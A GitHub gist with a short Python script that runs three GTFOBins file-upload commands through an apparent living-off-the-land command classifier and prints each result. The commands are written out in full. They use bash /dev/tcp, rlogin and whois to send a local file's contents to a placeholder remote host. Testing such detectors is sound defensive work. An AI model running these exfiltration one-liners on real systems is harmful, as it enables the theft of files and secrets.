Skip to content

Instantly share code, notes, and snippets.

@holisticinfosec
Created December 28, 2021 05:14
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save holisticinfosec/6a3867c8c47a8705d9a0524e4c93a498 to your computer and use it in GitHub Desktop.
Save holisticinfosec/6a3867c8c47a8705d9a0524e4c93a498 to your computer and use it in GitHub Desktop.
from GTFOBins: file uploads (exfil) examples via bash, rlogin, and whois
# from GTFOBins: file uploads (exfil) examples via bash, rlogin, and whois
# https://gtfobins.github.io/#+file%20upload
from lol.api import LOLC, PlatformType
lolc=LOLC(PlatformType.LINUX) # allowed parameters are PlatformType.LINUX and PlatformType.WINDOWS
commands=['bash -c echo -e POST / HTTP/0.9\n\n$(<$LFILE) > /dev/tcp/$RHOST/$RPORT',
'rlogin -l "$(cat $LFILE)" -p $RPORT $RHOST',
'whois -h $RHOST -p $RPORT base64 $LFILE']
classification, tags = lolc(commands)
for command, status, tag in zip (commands, classification, tags):
print(command)
print(status)
print(tag)
print("")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment